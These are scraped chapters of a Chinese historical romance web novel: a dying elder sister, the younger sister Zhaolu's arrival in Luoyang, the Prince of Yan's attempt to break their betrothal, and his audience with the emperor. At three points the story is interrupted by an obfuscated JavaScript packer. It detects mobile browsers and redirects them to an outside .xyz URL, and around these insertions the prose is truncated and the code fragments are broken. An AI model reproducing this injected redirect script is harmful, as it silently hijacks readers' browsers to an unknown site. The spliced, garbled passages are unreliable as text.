元昭璧说到一半,突然剧烈咳嗽起来,秀静的眉眼拧在一起,痛苦得好似要将肺都咳出来。 朝露连忙接过荷衣递来的帕子,另一手轻抚她后背。 血珠自帕子上晕染开来,蜿蜒如点点红梅。 朝露话窒在喉咙里,触目便是那一张娇柔却不可抑制枯萎的芙蓉面庞,回头看向身侧医师。 “当真没有一点办法了吗?” 元昭璧手肘撑床,半支起身子,“不要逼我的师兄了,我自己便是行医之人,知晓我病得多重……若不是我疾病缠身不能再陪着你,也不会寄希望于一门婚事来庇护你。” “幼时所负于你,每每思及,都在惶恐,然妹妹于我,是心中至宝,故而惶恐冒求圣上,赐你婚事。” “望佑妹妹平安富贵,顺遂百年。” 元照壁喉咙微哽,滑动了数次,一句话也说不出来了。 她无力仰躺在床,看着头顶的帐幔,闭上眼睛。 室内安静,只闻得那虚弱无比的呼吸声,还有荷衣低低的抽泣声。 可旋即,元昭璧睁开眼,从喉咙深处溢出了一道哀切哭声。 “老天怎么能让你我才见了一面就要分开?怎能如此待我……” “在江南那么多日子,我能清晰地感受到你的存在,知道还活着的,每想到你,我就有多一份活下去的勇气……本来师兄说我活不到数月,可能撑到现在,便是因为你。” 朝露哽咽,难以开口。 为何她会对一个第一次见面的陌生女子,流这样多的泪?为何会感觉到几乎窒息的苦痛? 是因为她们曾经在一个母体孕育,被同样丝丝缕缕的鲜血一同浇灌过吗? 世界上真的有血脉相通这种事吗? 若是没有,她的阿姊怎会行万里之远,不惜病痛之苦,辗转来寻她? 朝露胸中痛楚翻涌,握住她消瘦的手腕:“阿姊还有何未完成的心愿,但请告诉妹妹,妹妹必定会帮阿姊办到。” “去京城,活下去。” “好好履行那一纸婚契。” “那阿姊呢?阿姊说的都是妹妹的事,阿姊还有何未了心愿?” “……我没有。” 床帏之中,传来元昭璧微弱几乎不闻的声音:“我如今看你好好地回来在我面前,我便没有遗憾。” “妹妹……京城是虎狼之地,你入京一定要小心,尤其是那些高官,不要轻易得罪。” 她似乎话中藏话,有难言之隐。朝露看向一旁的荷衣,她亦然是咬牙。 元昭璧道:“不可轻信旁人,荷衣会陪着你,你回京后求见陛下,早早定好婚事,那时便不会有人敢伤你……” “若是可以,再查一查阿耶阿母当年之事,是谁在背后诬害元家。” 她身子颤抖,“罢了,这些陈年旧事……不值得你再涉险。” 她已经没有力气说下去了。 自己的恨吗? 怎么会没有呢,在江南时遇到了那个男子…… 可她实在不想,妹妹为此涉险。 痛彻心扉的疼意席卷而来,她指节紧紧扣着床榻边缘。 回应元照壁的,是一句女子清晰的话语。 “凡阿姊所提,我定会办到。” “我必会小心谨慎,也会查到当年害阿母阿耶之人。” “也一定会,好好履行那一桩婚约。” 字若千钧,落地有声。 元昭璧看向她,她的妹妹双目清澈明亮,眼中泪雾浮动,嘴角堆出笑意。 和她所见惯的那些人都不同,妹妹像是未经驯化的小兽,在北地的风沙中长大,感情浓烈至极。 “阿姊视我为珍宝,妹妹亦然待阿姊为玉璧宝石,我不知阿姊想要什么,但凡阿姊所求,我若能寻到,无论刀山火海,我必双手呈上。” “阿姊若是要我平安,我也会做到。” “妹妹……” 元昭璧闭了闭眼,脸上淌下两行泪。 多年离乱,沧海几重,相逢唯恐在梦中。 在她渐渐逝去的意识中,最后看到的是妹妹的容貌。 五月三日,元昭璧重病昏迷,高烧不退。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15879150|176140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又两日,血色褪净,状与死人无异。 鬼手岑修为其施针,几日不眠不休…… 是夜,月高云涌。 朝露立在窗边,客栈外是一轮孤月,起伏的山峦,延伸进苍凉一线月色中。 这是她启程去京洛前的最后一夜。 身后有人走近,正是阿姊的那位师兄,岑修。 “我施针将她体内的毒逼到了一处,虽吊着她一命,但她如今与一具尸首无异。原以为她撑不过三日,但你阿姊早年行医,尝遍百草,体内残存的药性,竟可与那毒物相抗。” 岑修语调微沉,“但也不过是多挣月余光景。你已经耽搁得太久,明日你就与荷衣一同出发,我会在这里照顾你阿姊。” 狂风吹得她长发飞卷,夜色之下,少女的身影几乎融入窗外无尽苍茫的原野之中。 朝露从这三日的相处,也已弄清荷衣以及他,与阿姊之间的关系。 荷衣是阿姊在江南认识的孤女,与之结识成为挚友。多年前阿姊师母逝世后,阿姊接过了药田,从那时,荷衣就一直陪在阿姊身边,与她一同管理经营药田。 至于这位岑师兄,虽与阿姊同出一师,却早早拜出师门,入世四方行医,悬壶济世。 阿姊在西行路上病重,万般无奈之下,才寻至这位素无往来的师兄门下求助。 二人一路相伴,已是有数月。 阿姊在闭眼前,并未屏退他,应当是极其信任这位师兄。 如今他眼下青白,目有血丝,俊逸清冷的面颊,却一下凹陷了许多,是熬了数日不眠不休的结果。 岑修道:“待你走后,我也会将你阿姊带到安全的地方。你阿姊的状况,便只能暂且留在西北。” 朝露回过头来看着他,“你说过,阿姊中的毒稀世罕见,但未必不能治,只是缺少一味珍贵的药材,你将阿姊症状还有药单写一封给我,我入京城后,当尽我所能去寻。” 岑修看着她的坚定的眸子,道:“你阿姐闭眼前的意思,是让你以后莫要再管前尘往事,无须因为她而牵挂哀愁。” 朝露道:“我会谨记阿姊的话,可只要她还有一口气在,我就要救她。无论需多少金银珠玉,师兄但说无妨,待我入京后,定会想办法凑到。” “并非珍宝的事,她是我的师妹,我自然会救。” 朝露握着栏杆的手收紧,攥到泛白,良久,终吐出一口气。 “多谢岑师兄。” 岑修点点头,“对了,师母门生遍布,宫中尚有一位太医署女官,与我同出一门,最擅解毒,届时你在京中,可求助于她。” “好。” 岑修离开后,屋内万籁俱寂。 此去前路,暗潮涌动,就如同黑夜尽头那浮动不定的云层。 她连识字都不全,要如何伪装成一位品行才情俱佳的贵女,入天子的眼,得他恩准婚事? 燕王是否会愿意接受这一桩婚约? 且不论这些事,更重要的是,她在贺兰家时听闻过贺兰贞的婚事,三个月后,贺兰贞将入京洛待嫁,所嫁之人便是一位皇室子弟,即将成为郡王妃。 二人在京城相见,势必如同水火。 贺兰家不会放过自己的。 元朝露曾说不信神鬼,却在临行前夜,跪拜佛像,祷告上天保佑阿姊。 次日,清晨第一缕光刺破云层。 四野朝色浓烈,绮丽的霞光漫映在山岚之间。 草坡疾风劲吹,朝露青色的衣袂飞扬,目光自西北天幕转向洛阳方向,凝望片刻,再不回首,在如烟金光中,踏上东行之路。 ** 《祁书》载:元后朝露,小字阿雎,长安生人。幼逢乱离,漂泊陇右,得遇商贾收留所救,年十四,没入贺兰府为婢,十七手刃府仆而遁,隐匿过往入洛。 雎,猛禽也,性烈善搏。 6.燕王 京洛。 元氏的府宅,坐落在洛阳大市东。 此地是官宦世家的群居府宅之地,故而精舍林立,宝塔高耸。 一个月前,元家长房流落在外的第二个女儿,元朝露归京。 若是放在钟鸣鼎食之家,自当引起坊间议论纷纷。 只是元家如今境况,早已不复当年了。 昔年元家家主,官至三公之一的司徒大人,清明廉正,乃清流文官典范,却遭奸人构陷,蒙冤下牢,好在祸事未曾波及两个弟弟,十几载过去,元家两房在官海中沉浮,虽勉力支撑门楣,却再难恢复旧日荣光。 元朝露入元家一事,在这繁华似锦的京都,就如同浩渺江面上起了一丝微不足道的涟漪,根本不被人所留意。 而很快,京兆人的目光,就被贺兰家千金入京的浩大声势夺去。 “贺兰贞怎会提前入京?” 贺兰府宅邸前,宝马香车,宾客如流,皆是名士贵胄,今日为来参加贺兰小姐的接风洗尘宴席。 且不说她是未来的安乐郡王妃,仅仅是“镇西将军亲妹”这个名号,便足以让人趋之若鹜。 在街道两侧驻足人流中,有一道头戴幕篱的女郎身影,悄然在此立了许久。 荷衣的声音从身侧传来:“我记得你说过,贺兰贞的婚期尚在秋后,她怎会来得这样早?” 元朝露并未回答,只注视着远处那华盖玉辂马车。 镶嵌绿松石的鎏金长柄,慢慢挑起车帘,有婢女跪于车前,以身体作阶,静候贵人践足。 元朝露道:“算起来,她应当是在我启程不久,就立即动身来洛阳了。” 为何会这样地赶? 荷衣总觉事出反常,见身侧人面色如常,迟疑了一瞬,道:“贺兰心如蛇蝎,京洛这般地方,你们早晚会碰面,你与燕王的婚约还未定下,若她将你的过往揭露,只怕……” “害怕什么呢?是贺兰贞该避着我才是。” 元朝露微微含笑,颊边梨涡浅显。 “她知我为人,我不怕鱼死网破,倒是她敢赌自己的名声吗?若我将她恃凌我的事揭露,不如看看是谁颜面扫地。” “且阿姊去拜访贺兰家时,并未托出自己是京洛哪家人,只用了化名,你猜——” 轻纱随风拂起,露出她一双俏丽的明眸,眼中浮起亮光。 “贺兰小姐若是见到我在京洛,她脸色挂不挂得住?” 荷衣心道如此。 与她阿姊温和的行事作风截然不同,元朝露做事果断大胆,不顾忌后果,不思退路,往往如在悬崖边行走。 也属实无法让人心安。 荷衣顺着她目光看去,远处几个华服少年少女映入眼帘。 “是元家二房三房的几位少爷小姐。” 元朝露轻笑:“原来他们不待见我,在府中处处刁难我,想待见的另有其人。只是如此殷勤献媚,贺兰贞会正眼看他们一眼吗?” 荷衣低声提醒道:“阿雎,你当慎言。” 背后论人得失,终究不合贵女的礼数 元朝露旋即双手贴在小腹前,朝荷衣颔首,鬓边耳珰稳稳不摇,连颈项微弯的弧度也恰好,俨然是淑女做派,开口声音亦是柔静。 “朝露知道了。时候不早,先回去温习课业,如何?荷衣姐姐。” 和初见她时狼狈瘦弱的模样相比,如今的元朝露,换上了鲜丽裙袍,饰以青玉华簪,一张面庞秾丽若桃李绽开,耀眼灿亮,简直让人无法移开眼睛。 犹如蒙尘宝珠洗去尘土。 只是,端庄是假,狡黠才是真,刻在骨子里的习惯一时还难以更改。 元朝露抬起眼帘,又换上一副明眸善睐的样子,方才的端庄已消散无踪。 实则是荷衣也是见识有限,哪能教导她呢?只能勉强劝解一二,道:“教你礼仪的女夫子应该快到府,我们赶紧回府罢。” 在元朝露转身离开时,身后马车珠帘忽动,便闻环佩叮咚,贺兰贞款款挑帘而出。 夏日黄昏,暗香浮动,栀子气息萦绕扑鼻,花影缭绕在她郁金色的衣摆之上。 本就生得娇美的女郎,经一身华丽裙袍加身,更是被衬得雍容无比。 贺兰贞双手提着裙裾,自婢女的背上走下,维持得体笑意。 无人知晓,她心中一阵烦窒—— 发卖朝露的事,到底被人捅到了兄长那里。 前线战事那样忙,兄长竟然为了那女人分神,特派心腹精锐兵马回来查探。 那封兄长写给她的信,白纸黑字,锋利无比,字字如刃,似带着煞气,和从前都不一样,显然已怒极。 阿兄震怒是什么样子,她不是不知道,能在尸山中挣出军功的人,那便是杀神一般。 只是他眼下被战事牵住,一时还无法脱身。 待他回府来质问,那才是真的大祸临头。 她在府中惶恐至极,加之阿兄斥责,令她即刻动身,便几乎未作犹豫,立刻上路来京城,眼下嫁妆还有一半在路上。 她心神不宁,忽觉有一抹熟悉的身影从眼尾余光掠过。 贺兰贞身子微僵,定睛再去看,只见街衢间人头攒动,尽是来谄媚殷勤之徒,哪里有她以为的那道人影。 身侧嬷嬷探出一双手,稳稳扶住了她。 “小姐,您这一路都被那贱婢搅得忧思难安,您与她是云泥之别,那贱婢何德何能让小姐如此?再说,将军的动怒也是一时的,岂会真的怪小姐不成?” “自然如此,可……” “洛阳天子脚下,那贱人最多也不过是龟缩在西北一隅苟且偷生,安能出现在贵地,再来污贺兰府的门庭?” 是。 朝露与自己是云泥之别。 就算她真能爬到洛阳,见到自己,还不得跪伏摆尾求饶? 贺兰贞反握住嬷嬷的手臂,手上金钏摇晃,含笑温声对众人道:“府上早已备下薄酒,承蒙诸位拨冗前来赴宴,为我接风洗尘。” “多谢,诸位请——” ** 夕阳渐渐西沉,洛阳东市的府邸,沐浴在余晖中,被镀上一层粼粼金光。 元朝露跨进元府西角门时,荷衣道:“宫里公公上一次传话,说你入京的消息,已经递至陛下面前,但陛下一向政务繁忙,不知何时闲暇,想来,到时候自会处理你与燕王婚事一事。可如今已经快月余过去了……” 元朝露道:“过几日,我们再找门路去问一问。” 荷衣话音迟疑,“银钱的话,如今,不太够用。” 阿姊留下的银钱有限,元朝露初来洛阳,便置买了许多东西,此后请阿耶故交递消息入宫,更花出了一大笔银钱。 实则,元家二房三房叔父在朝中谋有官职,若寻上他们,会方便许多。 但元朝露初回府邸,便遭受不少讥讽言语,这些日子,更是将寄人篱下的冷待都受了一遍。 掌家的二房极其苛待她的用度,放任府上仆从对她的轻慢,三房相较之下宽厚些,却对二房的行为未置可否。 说到底,她只是个外人。 这元府,从来就不是她的家。 但元府如此人品,如何信得过? 元朝露思量之下,宁愿耗费银钱请阿耶故人相助,眼下不需元家人辅佐,日后也不必与他们有半分瓜葛。 元朝露道:“等我好好思虑怎么办,一再给宫中递话,也显得操之过急,归根到底,是我不知陛下是何态度……” 正说着,迎面走到了花门处,便见一妇仆对自己行礼,似在此等待许久。 “姑娘,二夫人请您过去一趟。” 身侧荷衣下意识看向元朝露。 元氏府邸,坐落在洛阳贵地,却仅得狭小一隅,是以府内的布局尤为紧凑。 元朝露跟随在妇仆身后,绕过狭长的小道,便进入元二夫人的屋子。 映入眼帘的是一小而精致的绣花鸟的落地屏风,室内昏暗,尚未点灯,黑暗如潮水般晃进来。 中年妇人斜靠着檀木凭几上,鸦青缎面罗裙裹着丰腴身形,昏黄光晕中,那双丹凤眼半眯着扫过来,即便隔得远,也能感受到那掂量人的视线。 元朝露欠身行礼,唤了一声“叔母”。 “姑娘今日去哪里了?”妇人慵懒的话语缓缓响起。 元朝露虽入元府,却未被列入府中小姐的排行序列,府邸中人只以一不上不下的“姑娘”相称,连称呼都透着一层疏离,与外人无差。 元朝露如实告知:“侄女今日出门去东市添置了些衣裙首饰,路遇贺兰小姐车驾至洛,便驻足观望了片刻。” 二夫人身侧妇仆道:“可这些日子,姑娘出门是否太勤了些?” 元朝露抬起头,对上妇仆敲打的目光。 “姑娘虽是少时流落在外,规矩礼数上难免疏漏,府上念在姑娘初至,前些日子也未曾严加管束。只是——” 妇仆拉长语调:“元氏诗礼传家,素来讲究守礼,姑娘既然入元府,莫要坏了元府的门风。” 今日召她来,原是为了这般。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15882947|176140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 元朝露微微一笑:“叔母说得是。” 荷衣本担心她冲撞二夫人,却没想到她这样的恭顺。 如此态度,倒也令上方人意外。 妇仆道:“姑娘既入元府,当守府规。从前荒废闺训暂且不论,今日便以罚跪略施小惩。此后姑娘出入府宅,须经夫人允准。” “允了,才许出,不允,便只可留在府上。” 妇仆暗暗咬重“允”字。 此世代正是新旧两朝更迭之时,从前战乱频繁,世人皆过得朝不保夕,故而享乐之风靡长,民风极其开放,偏偏元氏两房在二夫人的掌管下保守至极。 元朝露未曾开口应下。 元二夫人兴致恹恹,抚了抚袖摆,已是不耐至极。 妇仆道:“姑娘是不愿?您姊妹二人先后投靠元府,夫人念在往日情分收留,供给衣食住行,已是仁至义尽。可姑娘出身乡野,礼数未通,屡屡冲撞府上人,夫人本想苦心教导,姑娘却觉委屈,不若今夜收拾行囊离府,夫人绝不挽留。” 荷衣闻言,心中怒意翻涌。 元朝露本就是元家血脉,何来“收留”一说? 妇仆道:“实则你阿姊初入府邸,也是如此谨遵夫人教诲的。” 元朝露神色未变,待后半句入耳,方抬眸道:“阿姊也曾这般跪过?” 元二夫人理了理衣袖褶皱,淡淡道:“自然,礼数本该如此。京中权贵云集,倘若因你失礼得罪贵人,连累的可是整个元氏一族,你阿姊可比你明事理得多。” 妇仆嘴角下垂,肃声道:“姑娘可想清楚了?” 要么今日留在元家,按家法受训,日后寄人篱下,便乖乖低下头颅。要么即刻离府,别再以元家女自居,日后两方也再不相干。 前者为了立威收服她,后者,则是为了彻底摆脱累赘。 元二夫人得不到回应,神色渐冷。 仆妇见状,未待元朝露出声,便伸手欲制住她双肩,迫她下跪在地。 元朝露侧身后退,笑道:“陛下才为我阿耶昭雪翻案,叔母就如此撵我出府,世人当真要感慨叔母一句慈良,不欺负孤女无依无靠。” 妇仆闻“陛下”二字,向元二夫人投去询问眼神。 元二夫人蹙眉示意,指尖在案几上轻轻一叩,身后四个粗使婆子立即扑上前来,两人反剪住荷衣双臂将她压跪在地,另两人逼近元朝露身侧。 两方僵持不下。 便在此时,只听得一阵脚步声近,有婢女从屋外走进来,脚步急促异常。 妇仆道:“何事如此匆忙?” “禀夫人。”婢女下跪气喘吁吁,“是燕王,燕王殿下派人来府邸,已至府门。” 原本以扇摇风的元二夫人,此刻却霍然起身:“燕王府与我们从无交集,今日这是为何……快去,请燕王殿下的人上座。” 小婢起身,迟疑看向元朝露。 “那人说是……与姑娘的婚事有关,请见姑娘一面。” 婚事。 话音不高不低,却刚刚好传遍屋内人耳中。 室内的气氛,一时间,凝滞住了。 元朝露感受到四面的打量,从嬷嬷手中抽出手臂,盈盈行了个礼,“夫人勿怪,朝露先去会客。” 那二人的身影绕过屏风远去了。 二夫人撑在案边的手微微发颤,细密的汗珠沁出眉心。 燕王? 身为今上幼弟,天家贵胄,燕王尚未弱冠便获封藩王,又领尚书省要职、禁军兵权及三州都督之职,却被留在洛阳,迟迟未曾去藩,恩宠之盛,朝野罕见。 她一个女子,初来洛阳,如何能攀上那样的人物? 如何想来都觉匪夷所思,但燕王的人确确实实就在府上。 二夫人回神,后背已一身冷汗,抬起头,唤来身边人,眸色微暗:“你且去打探,燕王的人来与她说什么。” “是。” 妇仆退下后,元二夫人仍久久坐靠于昏暗之中,良久,才沙哑开口:“去给大人递话,让他今夜早早回府,有要事与他商议。” ** 元朝露的小院,在元府偏僻一角。 此院子不过方寸之地,然步入其中,可见墙角海棠初绽,草木扶疏,微风过处暗香袭人,显是女主人的细心照料。 夕阳里,一道修长身影默立庭中。 男子躬身垂手,对着屋内屏风后那道若隐若现的倩影,恭敬行礼。 “在下乃燕王贴身侍卫,竹泉,今日替燕王来向小姐传话。” 7.物色 侍卫着一袭黑色猎袍,背弓箭,负长刀,俨然是燕王亲手调教出的心腹。单看此人气度,便可知燕王是何等龙章凤姿的人物。 “不知大人所为何事?” 叶疏不疾不徐道:“是关于殿下与小姐的婚事。” 屏风之后,元朝露广袖中的手轻轻收拢,又慢慢松开。 “元二小姐少时际遇,燕王早已知晓,小姐少时流离,漂泊陇西,身世坎坷,燕王虽心有怜惜,然姻缘缔结,贵在两情相悦。此婚约乃双方长兄长姐所定,却未曾告知彼此,恐非小姐本心。” “故而燕王之意,婚约作废。” 话音掷地有声。 叶疏维持拱手的动作,身形挺拔如松:“虽与小姐姻缘不成,但婚事之外,凡小姐所求,燕王皆可为小姐办到,此生可保小姐一世富贵。” “然燕王劝小姐一句,若执意于这一桩婚事,终究是虚浮之影,便如求镜中花,水中月,难以长久。” 院内空寂,只余下密匝蟋蟀声,时短时长。 荷衣立在屋前阶边,听得这一番全然不顾情面的话,一时屏住了呼吸。 元朝露道:“那请大人替我回话,多谢燕王今日告知的美意。” 叶疏挑起眉梢,面前一道落地屏风,海棠缠枝纹密织如雾,将外院内屋隔绝,屏后那人影虽朦胧,却见乌发高绾,罗裙曳地,恰似古画中仕女图,影影绰绰映在素绢屏风之上。 “二小姐?” “燕王之意,我已明了,婚事从未定下过,又谈何作废呢?” 叶疏闻言微怔,原本备好的说辞在喉间一滞,未曾料到,元家二小姐竟答应得这般干脆利落。 屏风后传来几声压抑的轻咳。 叶疏问道:“二小姐可是身子抱恙?” 那嗓音裹着三分病气:“初来京洛,偏居湿洼之地,这几日旧疾复发……”话音未落又是一阵咳,又似偏偏强撑出笑意,“尚在病中,容色憔悴,不便见客,还望大人见谅。” “哪里的话,二小姐折煞在下。” 女郎病体孱弱,言辞又这般恭顺,竟将退婚之事应承得如此痛快。叶疏袖中那封燕王亲笔所书的强硬文书,此刻倒成了烫手山芋,再难取出。 “那二小姐可还有话要在下带给燕王?” “有的。” “我本知缘分天定,婚姻之事,强求不得,殿下龙凤之姿,而我命若朝露,病体缠绵,自幼漂泊,又怎可相配?初知这婚事时,我便日夜难安,今日大人来提这一番话,反倒解了心中重负。只是……” “方才大人说,凡我所提,燕王皆可应允?我的确有一不情之请。” 叶疏道:“二小姐请讲。” “稍等,容我去取一物请大人代为转交。” 女郎进屋内去了,不多时,荷衣从屋内走来,双手呈上一封信笺。 屏风后响起她低哑的声音:“我的病断断续续,时好时坏,如今别无所求,需几味药材罢了,只是药材过于名贵,我初来洛阳,实在囊中羞涩,元家亦也难施援手,不知大人……可否为我寻纸上的几味药材来?” 荷衣语调微涩:“是,我家小姐的病,是幼年流落时落下的病根。” 叶疏听她那句幼年病根,眸光一沉,视线落在纸上,道:“二小姐还有旁的所求?” 元朝露轻声:“只有这个。” 叶疏行礼,声线温和:“万望小姐保重身子,在下必亲手将此物呈交殿下。” “有劳大人。” 着玄袍的男子跨过门槛,大步流星离去。 “荷衣姐姐,人走了吗?” 等人走远了,元朝露才从屏风后缓缓走出,但见她肤白唇红,气色红润,哪里可见一点病色? 荷衣抓住她的手臂,将布满虚汗的手送到她面前。 “你也不和我商量一二,那侍卫何许人也?我是真怕在他面前露馅,你好好看看,我出了多少汗。” 元朝露轻笑一声:“姐姐,你没听出那侍卫听到我身子不好,语调便立刻软了三分。” 荷衣道:“你为何要假称病?” “自是有别的原因,你说燕王的人,气势汹汹前来退婚,却得知我一孤女病重,那燕王殿下会是何反应呢?” 听到这里,荷衣终是反应过来。 “不过那燕王殿下也当真不留一丝情面,竟退婚得如此直白决绝。” 谁料元朝露接话:“是吗?我倒是觉得,燕王殿下极其不错。” 她走到花圃边,半蹲下身子拿起水桶中水瓢,为花苗施水,语调轻缓:“燕王此人,一看便不被束缚,性格洒脱肆意。如若他一味逆来顺受,面对赐婚,毫无反抗,欣然接受,那真是全无傲骨,我反倒会觉他撑不起来事情来。这样的夫婿,又怎能倚靠?” 元朝露顿了顿,轻哼一声:“只是也的确太过高傲,纵使要退婚,也不应该遣一侍卫来,他应当极其受宠长大,所以才会做事肆无忌惮。” 面前花丛,绣球华与海棠花开得茂密。 阿姊离开的几月后,这些花种无人照料,却未曾枯萎去,反倒野蛮生长,枝枝簇簇漫过了花台。 烈艳炽繁,明丽如雾。 如今她重新裁剪养育花枝,也算不负阿姊心血。 她轻抚花瓣,道:“阿姊是让我嫁给燕王,可我也需要了解他的为人如何,才能放心去嫁。荷衣姐姐,你且看,在求药一事上,燕王会怎么处理。” 倘若敷衍对待她,那此人绝非值得托付一生;若他对她的过往流露傲慢鄙夷,那便是品行卑劣至极,她当断则断,另物色其他权贵。 可若他当真遣人送来良药…… 那便是外冷内热,实则心地纯良。 夫君与权势再如何,也需要看她能否驾驭得了。 话音未落,院外小径上已传来脚步声。 来人正是教习元朝露礼节的老师。 入洛阳的一个月,元朝露未敢懈怠一日,可每一日习字、礼仪、诗书,那些贵女们仿佛生来就会的本事,于她而言,皆是头疼无比的课业。 就连谈吐用词,也得酝酿许久。 元朝露实在不喜那些枯燥的课业,可阿姊说过,希望她在洛阳立足,她会努力办到,加之荷衣日日盯着,竟当真一日不曾荒废。 元朝露起身,朝着迎面走来的女子行礼:“老师。” ** 日暮将沉,叶疏自拜访元府后,便马不停蹄往宫中去,至朱红宫门外停下,按约定在此处等候燕王殿下。 霞光在通往宫门前的那一条御道上,照出一条光影,就见一道清劲的身影从远处行来。 燕王殿下萧洛之,方从校练场上策马而归,一身魏紫戎装常服,腰悬宝剑,衣袍猎猎飞扬,面庞被摇晃夕光所照,更显姿容奕奕,英俊潇洒。 循例,燕王殿下从校练场下来,当入宫让君上检验今日所学。 只是今日,燕王殿下明显有些心神不宁。 燕王一来,便将腰间佩剑解下,扔到叶疏手中,问道:“你去过元家,见过那元家小姐了?她回你什么了?” 他要求下属事无巨细地去探查,无论那小姐容貌谈吐、品行仪态,所居所陈设,皆要一一如实禀报。 叶疏将今日见闻悉数告知。 燕王以手擦拭箭袖,待听到最后,手微微一顿:“她同意了?” “是,二小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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叶疏道:“可眼下时局微妙,陛下正在物色储君人选,殿下虽隆宠在身,但在储君之位定下前,一举一动都要谨慎,何况,陛下处事冷断,公私分明,前些日子陛下秘行陇西,那校尉大人是您二人表亲,也被陛下按军法处置。几日前陛下方才归京,便立刻提起您与元家婚约,可见陛下的重视……” 萧洛之略一沉吟:“天色已晚,宫门也已落匙,今夜我会宿在禁中,待晚些时候,我便找合适时机与三哥说。” 叶疏松一口气:“殿下想明白就好,待等会入殿,就主动与陛下提及此事,如何?” 萧洛之低声道:“无妨,三哥向来待兄弟姊妹温和宽厚,想必能体谅我,何况他登基三载,后宫也未曾有一女子,满朝臣子劝了他那般久,他自己不娶,又怎的偏偏要求我娶那元家女......” 话虽如此,萧洛之心中也无十分把握。 马蹄声止,已至禁宫深处。 萧洛之翻身下马,整了整衣冠。 恰是掌灯时分,羊角宫灯在廊间点亮,照得精巧的宫室灯火煌丽。 新朝的殿宇壮美至极,背靠山陵,廊腰缦回,重重叠叠,状似海潮起伏,而每当入夜时,月色播撒,似有轻纱缭绕宫墙间,远远看去,一片的金碧辉煌。 今夜,萧洛之却觉宫灯格外刺眼。 或许是想到接下来要开口的事,又或是想到兄长越发严峻冷肃的行事作风,他尚未入内,已觉心焦,抬起手,按了按眉骨。 章德殿前,有内侍躬身:“燕王殿下,陛下已等候您多时,宣您即刻进殿。” 8.天子 伴驾帝王的内侍仲长君,领燕王入殿。 “仲公安好,公公今日陪三哥左右,可否见三哥被政务烦扰,三哥今日心情如何?” 仲长君内宦出身,日日侍奉于帝王起居,可谓天子第一近臣,饶是燕王也得礼让三分,然其居高位,也从不恃傲,面上总带三分柔和笑意,任谁和其相处,都觉如沐春风。 每一次燕王叩见圣上,仲长君都会给予相应的暗示,告知帝王心情如何。 只是今日,仲长君却不曾吐露半点口风,那清瘦的面颊依旧带笑,却仿佛一面具凝固其上。 越是如此,越令人惴惴不安。 殿内安静极了,更漏声滴答,以一种寂静的方式回荡在大殿之中。 “臣弟见过皇兄。” 怪异的是,今日宫室中帘幕落下,隔绝了外殿与内殿。 他不得传召,只能止步于外,抬起头来,见轻纱之后,一雪袍玉带的修长身影立在香炉旁,他手中握着金勺,将香料缓缓倒入博山炉中,便有青色烟气袅袅散出。 稀薄的烟气萦绕其周身,他虽在养伤,然周身清雅华贵之气不减,清隽如雪中松柏。 年轻的帝王并非手不能握弓的文弱之主,其为世家子时,便亲率甲兵为楚室平定叛乱,在颍川一役声名鹊起。 此后先帝在其建议之下起兵,两年荡平暴楚,三载定鼎天下。 皆少不了皇兄出谋划策。 萧洛之隐约察觉今日气氛有异,拱手禀道:“臣弟晨间前往裴学士府上研习,待午后前往校场操练弓马,学习兵书阵列......” “你如今控弦能开几石弓?”天子的声音清雅,从纱幔后传来。 “回皇兄,两石。” “相较朕去陇西前,似乎未有长进。” 这轻飘飘的一句话,却令动萧洛之心弦重重一颤,他笑道:“弟弟自然不及皇兄,但弟弟知皇兄喜爱弩弓,近来新得了一弓,待阿兄大安了,一同去林苑羽猎,叫阿兄亲自考校弟弟这段时日的进益,如何?” 萧洛之唇边含着笑意,已是尽力活络气氛。 放在往日,皇兄当会应下。 可天子始终不曾回应。 心下有一道答案呼之欲出,是否与他派人前去元府有关。 萧洛之道:“陛下,臣弟有一事要禀告……” 尚未说完,皇帝的声音已打断,“元家女入京城,这段时日,你当好好照顾她,午后谴人去你那送话,可曾带到?” 萧洛之闭了闭眼,话语在喉咙边回转了数次,终是道:“这桩婚事,臣弟难以从命!午后臣弟已谴人前去告知二小姐,与之商谈退婚事宜。” “弟弟知晓自己任性,但婚姻之事,岂能强求!兄长之器重,弟弟铭感五内,可眼下未得功业,未报阿兄之教诲,始终难以心安,谈何成家?那女子非我所喜,却要成为王妃,若我遭此束缚一生,阿兄,还不如叫弟弟死了算了!” 燕王的这一句话,叫殿舍内侍奉的众宫人,一时都屏住了呼吸。 连素来见惯风浪的仲长君,脸上的笑意也渐渐收起。 “是吗?”纱幔后随即传来了皇帝淡淡的话音,竟是在笑。 “你是已经见过那元家女了?” “臣弟尚未见过。” “想必其人粗俗不堪,样貌不扬,令我的阿弟生厌至此,半日也忍不得,便派人前去告知,此生誓不娶之。” 燕王作礼的手已渗出细汗:“并非,臣弟眼下虽未曾见过她,但无论如何不能仓促定下婚约,他日若有机缘,自当再了解相处。” 